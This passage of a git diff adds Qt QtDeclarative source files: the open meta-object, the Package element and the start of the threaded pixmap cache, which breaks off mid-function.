+class QDeclarativeOpenMetaObjectPrivate
+{
+public:
+ QDeclarativeOpenMetaObjectPrivate(QDeclarativeOpenMetaObject *_q)
+ : q(_q), parent(0), type(0), cacheProperties(false) {}
+
+ inline QVariant &getData(int idx) {
+ while (data.count() <= idx)
+ data << QPair<QVariant, bool>(QVariant(), false);
+ QPair<QVariant, bool> &prop = data[idx];
+ if (!prop.second) {
+ prop.first = q->initialValue(idx);
+ prop.second = true;
+ }
+ return prop.first;
+ }
+
+ inline void writeData(int idx, const QVariant &value) {
+ while (data.count() <= idx)
+ data << QPair<QVariant, bool>(QVariant(), false);
+ QPair<QVariant, bool> &prop = data[idx];
+ prop.first = value;
+ prop.second = true;
+ }
+
+ inline bool hasData(int idx) const {
+ if (idx >= data.count())
+ return false;
+ return data[idx].second;
+ }
+
+ bool autoCreate;
+ QDeclarativeOpenMetaObject *q;
+ QAbstractDynamicMetaObject *parent;
+ QList<QPair<QVariant, bool> > data;
+ QObject *object;
+ QDeclarativeOpenMetaObjectType *type;
+ bool cacheProperties;
+};
+
+QDeclarativeOpenMetaObject::QDeclarativeOpenMetaObject(QObject *obj, bool automatic)
+: d(new QDeclarativeOpenMetaObjectPrivate(this))
+{
+ d->autoCreate = automatic;
+ d->object = obj;
+
+ d->type = new QDeclarativeOpenMetaObjectType(obj->metaObject(), 0);
+ d->type->d->referers.insert(this);
+
+ QObjectPrivate *op = QObjectPrivate::get(obj);
+ d->parent = static_cast<QAbstractDynamicMetaObject *>(op->metaObject);
+ *static_cast<QMetaObject *>(this) = *d->type->d->mem;
+ op->metaObject = this;
+}
+
+QDeclarativeOpenMetaObject::QDeclarativeOpenMetaObject(QObject *obj, QDeclarativeOpenMetaObjectType *type, bool automatic)
+: d(new QDeclarativeOpenMetaObjectPrivate(this))
+{
+ d->autoCreate = automatic;
+ d->object = obj;
+
+ d->type = type;
+ d->type->addref();
+ d->type->d->referers.insert(this);
+
+ QObjectPrivate *op = QObjectPrivate::get(obj);
+ d->parent = static_cast<QAbstractDynamicMetaObject *>(op->metaObject);
+ *static_cast<QMetaObject *>(this) = *d->type->d->mem;
+ op->metaObject = this;
+}
+
+QDeclarativeOpenMetaObject::~QDeclarativeOpenMetaObject()
+{
+ if (d->parent)
+ delete d->parent;
+ d->type->d->referers.remove(this);
+ d->type->release();
+ delete d;
+}
+
+QDeclarativeOpenMetaObjectType *QDeclarativeOpenMetaObject::type() const
+{
+ return d->type;
+}
+
+int QDeclarativeOpenMetaObject::metaCall(QMetaObject::Call c, int id, void **a)
+{
+ if (( c == QMetaObject::ReadProperty || c == QMetaObject::WriteProperty)
+ && id >= d->type->d->propertyOffset) {
+ int propId = id - d->type->d->propertyOffset;
+ if (c == QMetaObject::ReadProperty) {
+ propertyRead(propId);
+ *reinterpret_cast<QVariant *>(a[0]) = d->getData(propId);
+ } else if (c == QMetaObject::WriteProperty) {
+ if (propId <= d->data.count() || d->data[propId].first != *reinterpret_cast<QVariant *>(a[0])) {
+ propertyWrite(propId);
+ d->writeData(propId, *reinterpret_cast<QVariant *>(a[0]));
+ propertyWritten(propId);
+ activate(d->object, d->type->d->signalOffset + propId, 0);
+ }
+ }
+ return -1;
+ } else {
+ if (d->parent)
+ return d->parent->metaCall(c, id, a);
+ else
+ return d->object->qt_metacall(c, id, a);
+ }
+}
+
+QAbstractDynamicMetaObject *QDeclarativeOpenMetaObject::parent() const
+{
+ return d->parent;
+}
+
+QVariant QDeclarativeOpenMetaObject::value(int id) const
+{
+ return d->getData(id);
+}
+
+void QDeclarativeOpenMetaObject::setValue(int id, const QVariant &value)
+{
+ d->writeData(id, value);
+ activate(d->object, id + d->type->d->signalOffset, 0);
+}
+
+QVariant QDeclarativeOpenMetaObject::value(const QByteArray &name) const
+{
+ QHash<QByteArray, int>::ConstIterator iter = d->type->d->names.find(name);
+ if (iter == d->type->d->names.end())
+ return QVariant();
+
+ return d->getData(*iter);
+}
+
+QVariant &QDeclarativeOpenMetaObject::operator[](const QByteArray &name)
+{
+ QHash<QByteArray, int>::ConstIterator iter = d->type->d->names.find(name);
+ Q_ASSERT(iter != d->type->d->names.end());
+
+ return d->getData(*iter);
+}
+
+QVariant &QDeclarativeOpenMetaObject::operator[](int id)
+{
+ return d->getData(id);
+}
+
+void QDeclarativeOpenMetaObject::setValue(const QByteArray &name, const QVariant &val)
+{
+ QHash<QByteArray, int>::ConstIterator iter = d->type->d->names.find(name);
+
+ int id = -1;
+ if (iter == d->type->d->names.end()) {
+ id = createProperty(name.constData(), "") - d->type->d->propertyOffset;
+ } else {
+ id = *iter;
+ }
+
+ if (id >= 0) {
+ QVariant &dataVal = d->getData(id);
+ if (dataVal == val)
+ return;
+
+ dataVal = val;
+ activate(d->object, id + d->type->d->signalOffset, 0);
+ }
+}
+
+// returns true if this value has been initialized by a call to either value() or setValue()
+bool QDeclarativeOpenMetaObject::hasValue(int id) const
+{
+ return d->hasData(id);
+}
+
+void QDeclarativeOpenMetaObject::setCached(bool c)
+{
+ if (c == d->cacheProperties || !d->type->d->engine)
+ return;
+
+ d->cacheProperties = c;
+
+ QDeclarativeData *qmldata = QDeclarativeData::get(d->object, true);
+ if (d->cacheProperties) {
+ if (!d->type->d->cache)
+ d->type->d->cache = new QDeclarativePropertyCache(d->type->d->engine, this);
+ qmldata->propertyCache = d->type->d->cache;
+ d->type->d->cache->addref();
+ } else {
+ if (d->type->d->cache)
+ d->type->d->cache->release();
+ qmldata->propertyCache = 0;
+ }
+}
+
+
+int QDeclarativeOpenMetaObject::createProperty(const char *name, const char *)
+{
+ if (d->autoCreate)
+ return d->type->createProperty(name);
+ else
+ return -1;
+}
+
+void QDeclarativeOpenMetaObject::propertyRead(int)
+{
+}
+
+void QDeclarativeOpenMetaObject::propertyWrite(int)
+{
+}
+
+void QDeclarativeOpenMetaObject::propertyWritten(int)
+{
+}
+
+void QDeclarativeOpenMetaObject::propertyCreated(int, QMetaPropertyBuilder &)
+{
+}
+
+QVariant QDeclarativeOpenMetaObject::initialValue(int)
+{
+ return QVariant();
+}
+
+int QDeclarativeOpenMetaObject::count() const
+{
+ return d->type->d->names.count();
+}
+
+QByteArray QDeclarativeOpenMetaObject::name(int idx) const
+{
+ Q_ASSERT(idx >= 0 && idx < d->type->d->names.count());
+
+ return d->type->d->mob.property(idx).name();
+}
+
+QObject *QDeclarativeOpenMetaObject::object() const
+{
+ return d->object;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativeopenmetaobject_p.h b/src/declarative/util/qdeclarativeopenmetaobject_p.h
new file mode 100644
index 00000000..74f27bbb
--- /dev/null
+++ b/src/declarative/util/qdeclarativeopenmetaobject_p.h
@@ -0,0 +1,129 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEOPENMETAOBJECT_H
+#define QDECLARATIVEOPENMETAOBJECT_H
+
+#include <QtCore/QMetaObject>
+#include <QtCore/QObject>
+
+#include <private/qdeclarativerefcount_p.h>
+#include <private/qdeclarativeglobal_p.h>
+#include <private/qobject_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeEngine;
+class QMetaPropertyBuilder;
+class QDeclarativeOpenMetaObjectTypePrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeOpenMetaObjectType : public QDeclarativeRefCount
+{
+public:
+ QDeclarativeOpenMetaObjectType(const QMetaObject *base, QDeclarativeEngine *engine);
+ ~QDeclarativeOpenMetaObjectType();
+
+ int createProperty(const QByteArray &name);
+
+ int propertyOffset() const;
+ int signalOffset() const;
+
+protected:
+ virtual void propertyCreated(int, QMetaPropertyBuilder &);
+
+private:
+ QDeclarativeOpenMetaObjectTypePrivate *d;
+ friend class QDeclarativeOpenMetaObject;
+ friend class QDeclarativeOpenMetaObjectPrivate;
+};
+
+class QDeclarativeOpenMetaObjectPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeOpenMetaObject : public QAbstractDynamicMetaObject
+{
+public:
+ QDeclarativeOpenMetaObject(QObject *, bool = true);
+ QDeclarativeOpenMetaObject(QObject *, QDeclarativeOpenMetaObjectType *, bool = true);
+ ~QDeclarativeOpenMetaObject();
+
+ QVariant value(const QByteArray &) const;
+ void setValue(const QByteArray &, const QVariant &);
+ QVariant value(int) const;
+ void setValue(int, const QVariant &);
+ QVariant &operator[](const QByteArray &);
+ QVariant &operator[](int);
+ bool hasValue(int) const;
+
+ int count() const;
+ QByteArray name(int) const;
+
+ QObject *object() const;
+ virtual QVariant initialValue(int);
+
+ // Be careful - once setCached(true) is called createProperty() is no
+ // longer automatically called for new properties.
+ void setCached(bool);
+
+ QDeclarativeOpenMetaObjectType *type() const;
+
+protected:
+ virtual int metaCall(QMetaObject::Call _c, int _id, void **_a);
+ virtual int createProperty(const char *, const char *);
+
+ virtual void propertyRead(int);
+ virtual void propertyWrite(int);
+ virtual void propertyWritten(int);
+ virtual void propertyCreated(int, QMetaPropertyBuilder &);
+
+ QAbstractDynamicMetaObject *parent() const;
+
+private:
+ QDeclarativeOpenMetaObjectPrivate *d;
+ friend class QDeclarativeOpenMetaObjectType;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEOPENMETAOBJECT_H
diff --git a/src/declarative/util/qdeclarativepackage.cpp b/src/declarative/util/qdeclarativepackage.cpp
new file mode 100644
index 00000000..f138bef9
--- /dev/null
+++ b/src/declarative/util/qdeclarativepackage.cpp
@@ -0,0 +1,201 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativepackage_p.h"
+
+#include <private/qobject_p.h>
+#include <private/qdeclarativeguard_p.h>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass Package QDeclarativePackage
+ \ingroup qml-working-with-data
+ \brief Package provides a collection of named items.
+
+ The Package class is used in conjunction with
+ VisualDataModel to enable delegates with a shared context
+ to be provided to multiple views.
+
+ Any item within a Package may be assigned a name via the
+ \l{Package::name}{Package.name} attached property.
+
+ The example below creates a Package containing two named items;
+ \e list and \e grid. The third element in the package (the \l Rectangle) is parented to whichever
+ delegate it should appear in. This allows an item to move
+ between views.
+
+ \snippet examples/declarative/modelviews/package/Delegate.qml 0
+
+ These named items are used as the delegates by the two views who
+ reference the special \l{VisualDataModel::parts} property to select
+ a model which provides the chosen delegate.
+
+ \snippet examples/declarative/modelviews/package/view.qml 0
+
+ \sa {declarative/modelviews/package}{Package example}, {demos/declarative/photoviewer}{Photo Viewer demo}, QtDeclarative
+*/
+
+/*!
+ \qmlattachedproperty string Package::name
+ This attached property holds the name of an item within a Package.
+*/
+
+
+class QDeclarativePackagePrivate : public QObjectPrivate
+{
+public:
+ QDeclarativePackagePrivate() {}
+
+ struct DataGuard : public QDeclarativeGuard<QObject>
+ {
+ DataGuard(QObject *obj, QList<DataGuard> *l) : list(l) { (QDeclarativeGuard<QObject>&)*this = obj; }
+ QList<DataGuard> *list;
+ void objectDestroyed(QObject *) {
+ // we assume priv will always be destroyed after objectDestroyed calls
+ list->removeOne(*this);
+ }
+ };
+
+ QList<DataGuard> dataList;
+ static void data_append(QDeclarativeListProperty<QObject> *prop, QObject *o) {
+ QList<DataGuard> *list = static_cast<QList<DataGuard> *>(prop->data);
+ list->append(DataGuard(o, list));
+ }
+ static void data_clear(QDeclarativeListProperty<QObject> *prop) {
+ QList<DataGuard> *list = static_cast<QList<DataGuard> *>(prop->data);
+ list->clear();
+ }
+ static QObject *data_at(QDeclarativeListProperty<QObject> *prop, int index) {
+ QList<DataGuard> *list = static_cast<QList<DataGuard> *>(prop->data);
+ return list->at(index);
+ }
+ static int data_count(QDeclarativeListProperty<QObject> *prop) {
+ QList<DataGuard> *list = static_cast<QList<DataGuard> *>(prop->data);
+ return list->count();
+ }
+};
+
+QHash<QObject *, QDeclarativePackageAttached *> QDeclarativePackageAttached::attached;
+
+QDeclarativePackageAttached::QDeclarativePackageAttached(QObject *parent)
+: QObject(parent)
+{
+ attached.insert(parent, this);
+}
+
+QDeclarativePackageAttached::~QDeclarativePackageAttached()
+{
+ attached.remove(parent());
+}
+
+QString QDeclarativePackageAttached::name() const
+{
+ return _name;
+}
+
+void QDeclarativePackageAttached::setName(const QString &n)
+{
+ _name = n;
+}
+
+QDeclarativePackage::QDeclarativePackage(QObject *parent)
+ : QObject(*(new QDeclarativePackagePrivate), parent)
+{
+}
+
+QDeclarativePackage::~QDeclarativePackage()
+{
+ Q_D(QDeclarativePackage);
+ for (int ii = 0; ii < d->dataList.count(); ++ii) {
+ QObject *obj = d->dataList.at(ii);
+ obj->setParent(this);
+ }
+}
+
+QDeclarativeListProperty<QObject> QDeclarativePackage::data()
+{
+ Q_D(QDeclarativePackage);
+ return QDeclarativeListProperty<QObject>(this, &d->dataList, QDeclarativePackagePrivate::data_append,
+ QDeclarativePackagePrivate::data_count,
+ QDeclarativePackagePrivate::data_at,
+ QDeclarativePackagePrivate::data_clear);
+}
+
+bool QDeclarativePackage::hasPart(const QString &name)
+{
+ Q_D(QDeclarativePackage);
+ for (int ii = 0; ii < d->dataList.count(); ++ii) {
+ QObject *obj = d->dataList.at(ii);
+ QDeclarativePackageAttached *a = QDeclarativePackageAttached::attached.value(obj);
+ if (a && a->name() == name)
+ return true;
+ }
+ return false;
+}
+
+QObject *QDeclarativePackage::part(const QString &name)
+{
+ Q_D(QDeclarativePackage);
+ if (name.isEmpty() && !d->dataList.isEmpty())
+ return d->dataList.at(0);
+
+ for (int ii = 0; ii < d->dataList.count(); ++ii) {
+ QObject *obj = d->dataList.at(ii);
+ QDeclarativePackageAttached *a = QDeclarativePackageAttached::attached.value(obj);
+ if (a && a->name() == name)
+ return obj;
+ }
+
+ if (name == QLatin1String("default") && !d->dataList.isEmpty())
+ return d->dataList.at(0);
+
+ return 0;
+}
+
+QDeclarativePackageAttached *QDeclarativePackage::qmlAttachedProperties(QObject *o)
+{
+ return new QDeclarativePackageAttached(o);
+}
+
+
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativepackage_p.h b/src/declarative/util/qdeclarativepackage_p.h
new file mode 100644
index 00000000..27efbe2c
--- /dev/null
+++ b/src/declarative/util/qdeclarativepackage_p.h
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPACKAGE_H
+#define QDECLARATIVEPACKAGE_H
+
+#include <qdeclarative.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativePackagePrivate;
+class QDeclarativePackageAttached;
+class Q_AUTOTEST_EXPORT QDeclarativePackage : public QObject
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativePackage)
+
+ Q_CLASSINFO("DefaultProperty", "data")
+ Q_PROPERTY(QDeclarativeListProperty<QObject> data READ data SCRIPTABLE false)
+
+public:
+ QDeclarativePackage(QObject *parent=0);
+ virtual ~QDeclarativePackage();
+
+ QDeclarativeListProperty<QObject> data();
+
+ QObject *part(const QString & = QString());
+ bool hasPart(const QString &);
+
+ static QDeclarativePackageAttached *qmlAttachedProperties(QObject *);
+};
+
+class QDeclarativePackageAttached : public QObject
+{
+Q_OBJECT
+Q_PROPERTY(QString name READ name WRITE setName)
+public:
+ QDeclarativePackageAttached(QObject *parent);
+ virtual ~QDeclarativePackageAttached();
+
+ QString name() const;
+ void setName(const QString &n);
+
+ static QHash<QObject *, QDeclarativePackageAttached *> attached;
+private:
+ QString _name;
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativePackage)
+QML_DECLARE_TYPEINFO(QDeclarativePackage, QML_HAS_ATTACHED_PROPERTIES)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPACKAGE_H
diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp
new file mode 100644
index 00000000..03f878f9
--- /dev/null
+++ b/src/declarative/util/qdeclarativepixmapcache.cpp
@@ -0,0 +1,1119 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativepixmapcache_p.h"
+#include "qdeclarativenetworkaccessmanagerfactory.h"
+#include "qdeclarativeimageprovider.h"
+
+#include <qdeclarativeengine.h>
+#include <private/qdeclarativeglobal_p.h>
+#include <private/qdeclarativeengine_p.h>
+
+#include <QCoreApplication>
+#include <QImageReader>
+#include <QHash>
+#include <QNetworkReply>
+#include <QPixmapCache>
+#include <QFile>
+#include <QThread>
+#include <QMutex>
+#include <QMutexLocker>
+#include <QWaitCondition>
+#include <QBuffer>
+#include <QWaitCondition>
+#include <QtCore/qdebug.h>
+#include <private/qobject_p.h>
+#include <QSslError>
+
+#define IMAGEREQUEST_MAX_REQUEST_COUNT 8
+#define IMAGEREQUEST_MAX_REDIRECT_RECURSION 16
+#define CACHE_EXPIRE_TIME 30
+#define CACHE_REMOVAL_FRACTION 4
+
+QT_BEGIN_NAMESPACE
+
+// The cache limit describes the maximum "junk" in the cache.
+// These are the same defaults as QPixmapCache
+#if defined(Q_WS_QWS) || defined(Q_WS_WINCE)
+static int cache_limit = 2048 * 1024; // 2048 KB cache limit for embedded
+#else
+static int cache_limit = 10240 * 1024; // 10 MB cache limit for desktop
+#endif
+
+class QDeclarativePixmapReader;
+class QDeclarativePixmapData;
+class QDeclarativePixmapReply : public QObject
+{
+ Q_OBJECT
+public:
+ enum ReadError { NoError, Loading, Decoding };
+
+ QDeclarativePixmapReply(QDeclarativePixmapData *);
+ ~QDeclarativePixmapReply();
+
+ QDeclarativePixmapData *data;
+ QDeclarativeEngine *engineForReader; // always access reader inside readerMutex.
+ QSize requestSize;
+ QUrl url;
+
+ bool loading;
+ int redirectCount;
+
+ class Event : public QEvent {
+ public:
+ Event(ReadError, const QString &, const QSize &, const QImage &);
+
+ ReadError error;
+ QString errorString;
+ QSize implicitSize;
+ QImage image;
+ };
+ void postReply(ReadError, const QString &, const QSize &, const QImage &);
+
+
+Q_SIGNALS:
+ void finished();
+ void downloadProgress(qint64, qint64);
+
+protected:
+ bool event(QEvent *event);
+
+private:
+ Q_DISABLE_COPY(QDeclarativePixmapReply)
+
+public:
+ static int finishedIndex;
+ static int downloadProgressIndex;
+};
+
+class QDeclarativePixmapReaderThreadObject : public QObject {
+ Q_OBJECT
+public:
+ QDeclarativePixmapReaderThreadObject(QDeclarativePixmapReader *);
+ void processJobs();
+ virtual bool event(QEvent *e);
+private slots:
+ void networkRequestDone();
+private:
+ QDeclarativePixmapReader *reader;
+};
+
+class QDeclarativePixmapData;
+class QDeclarativePixmapReader : public QThread
+{
+ Q_OBJECT
+public:
+ QDeclarativePixmapReader(QDeclarativeEngine *eng);
+ ~QDeclarativePixmapReader();
+
+ QDeclarativePixmapReply *getImage(QDeclarativePixmapData *);
+ void cancel(QDeclarativePixmapReply *rep);
+
+ static QDeclarativePixmapReader *instance(QDeclarativeEngine *engine);
+ static QDeclarativePixmapReader *existingInstance(QDeclarativeEngine *engine);
+
+protected:
+ void run();
+
+private:
+ friend class QDeclarativePixmapReaderThreadObject;
+ void processJobs();
+ void processJob(QDeclarativePixmapReply *, const QUrl &, const QSize &);
+ void networkRequestDone(QNetworkReply *);
+
+ QList<QDeclarativePixmapReply*> jobs;
+ QList<QDeclarativePixmapReply*> cancelled;
+ QDeclarativeEngine *engine;
+ QObject *eventLoopQuitHack;
+
+ QMutex mutex;
+ QDeclarativePixmapReaderThreadObject *threadObject;
+ QWaitCondition waitCondition;
+
+ QNetworkAccessManager *networkAccessManager();
+ QNetworkAccessManager *accessManager;
+
+ QHash<QNetworkReply*,QDeclarativePixmapReply*> replies;
+
+ static int replyDownloadProgress;
+ static int replyFinished;
+ static int downloadProgress;
+ static int threadNetworkRequestDone;
+ static QHash<QDeclarativeEngine *,QDeclarativePixmapReader*> readers;
+public:
+ static QMutex readerMutex;
+};
+
+class QDeclarativePixmapData
+{
+public:
+ QDeclarativePixmapData(const QUrl &u, const QSize &s, const QString &e)
+ : refCount(1), inCache(false), pixmapStatus(QDeclarativePixmap::Error),
+ url(u), errorString(e), requestSize(s), reply(0), prevUnreferenced(0),
+ prevUnreferencedPtr(0), nextUnreferenced(0)
+ {
+ }
+
+ QDeclarativePixmapData(const QUrl &u, const QSize &r)
+ : refCount(1), inCache(false), pixmapStatus(QDeclarativePixmap::Loading),
+ url(u), requestSize(r), reply(0), prevUnreferenced(0), prevUnreferencedPtr(0),
+ nextUnreferenced(0)
+ {
+ }
+
+ QDeclarativePixmapData(const QUrl &u, const QPixmap &p, const QSize &s, const QSize &r)
+ : refCount(1), inCache(false), privatePixmap(false), pixmapStatus(QDeclarativePixmap::Ready),
+ url(u), pixmap(p), implicitSize(s), requestSize(r), reply(0), prevUnreferenced(0),
+ prevUnreferencedPtr(0), nextUnreferenced(0)
+ {
+ }
+
+ QDeclarativePixmapData(const QPixmap &p)
+ : refCount(1), inCache(false), privatePixmap(true), pixmapStatus(QDeclarativePixmap::Ready),
+ pixmap(p), implicitSize(p.size()), requestSize(p.size()), reply(0), prevUnreferenced(0),
+ prevUnreferencedPtr(0), nextUnreferenced(0)
+ {
+ }
+
+ int cost() const;
+ void addref();
+ void release();
+ void addToCache();
+ void removeFromCache();
+
+ uint refCount;
+
+ bool inCache:1;
+ bool privatePixmap:1;
+
+ QDeclarativePixmap::Status pixmapStatus;
+ QUrl url;
+ QString errorString;
+ QPixmap pixmap;
+ QSize implicitSize;
+ QSize requestSize;
+
+ QDeclarativePixmapReply *reply;
+
+ QDeclarativePixmapData *prevUnreferenced;
+ QDeclarativePixmapData**prevUnreferencedPtr;
+ QDeclarativePixmapData *nextUnreferenced;
+};
+
+int QDeclarativePixmapReply::finishedIndex = -1;
+int QDeclarativePixmapReply::downloadProgressIndex = -1;
+
+// XXX
+QHash<QDeclarativeEngine *,QDeclarativePixmapReader*> QDeclarativePixmapReader::readers;
+QMutex QDeclarativePixmapReader::readerMutex;
+
+int QDeclarativePixmapReader::replyDownloadProgress = -1;
+int QDeclarativePixmapReader::replyFinished = -1;
+int QDeclarativePixmapReader::downloadProgress = -1;
+int QDeclarativePixmapReader::threadNetworkRequestDone = -1;
+
+
+void QDeclarativePixmapReply::postReply(ReadError error, const QString &errorString,
+ const QSize &implicitSize, const QImage &image)
+{
+ loading = false;
+ QCoreApplication::postEvent(this, new Event(error, errorString, implicitSize, image));
+}
+
+QDeclarativePixmapReply::Event::Event(ReadError e, const QString &s, const QSize &iSize, const QImage &i)
+: QEvent(QEvent::User), error(e), errorString(s), implicitSize(iSize), image(i)
+{
+}
+
+QNetworkAccessManager *QDeclarativePixmapReader::networkAccessManager()
+{
+ if (!accessManager) {
+ Q_ASSERT(threadObject);
+ accessManager = QDeclarativeEnginePrivate::get(engine)->createNetworkAccessManager(threadObject);
+ }
+ return accessManager;
+}
+
+static bool readImage(const QUrl& url, QIODevice *dev, QImage *image, QString *errorString, QSize *impsize,
+ const QSize &requestSize)
+{
+ QImageReader imgio(dev);
+
+ bool force_scale = false;
+ if (url.path().endsWith(QLatin1String(".svg"),Qt::CaseInsensitive)) {
+ imgio.setFormat("svg"); // QSvgPlugin::capabilities bug QTBUG-9053
+ force_scale = true;
+ }
+
+ bool scaled = false;
+ if (requestSize.width() > 0 || requestSize.height() > 0) {
+ QSize s = imgio.size();
+ if (requestSize.width() && (force_scale || requestSize.width() < s.width())) {
+ if (requestSize.height() <= 0)
+ s.setHeight(s.height()*requestSize.width()/s.width());
+ s.setWidth(requestSize.width()); scaled = true;
+ }
+ if (requestSize.height() && (force_scale || requestSize.height() < s.height())) {
+ if (requestSize.width() <= 0)
+ s.setWidth(s.width()*requestSize.height()/s.height());
+ s.setHeight(requestSize.height()); scaled = true;
+ }
+ if (scaled) { imgio.setScaledSize(s); }
+ }
+
+ if (impsize)
+ *impsize = imgio.size();
+
+ if (imgio.read(image)) {
+ if (impsize && impsize->width() < 0)
+ *impsize = image->size();
+ return true;
+ } else {
+ if (errorString)
+ *errorString = QDeclarativePixmap::tr("Error decoding: %1: %2").arg(url.toString())
+ .arg(imgio.errorString());
+ return false;
+ }
+}
+
+QDeclarativePixmapReader::QDeclarativePixmapReader(QDeclarativeEngine *eng)
+: QThread(eng), engine(eng), threadObject(0), accessManager(0)
+{
+ eventLoopQuitHack = new QObject;
+ eventLoopQuitHack->moveToThread(this);
+ connect(eventLoopQuitHack, SIGNAL(destroyed(QObject*)), SLOT(quit()), Qt::DirectConnection);
+ start(QThread::IdlePriority);
+}
+
+QDeclarativePixmapReader::~QDeclarativePixmapReader()
+{
+ readerMutex.lock();
+ readers.remove(engine);
+ readerMutex.unlock();
+
+ mutex.lock();
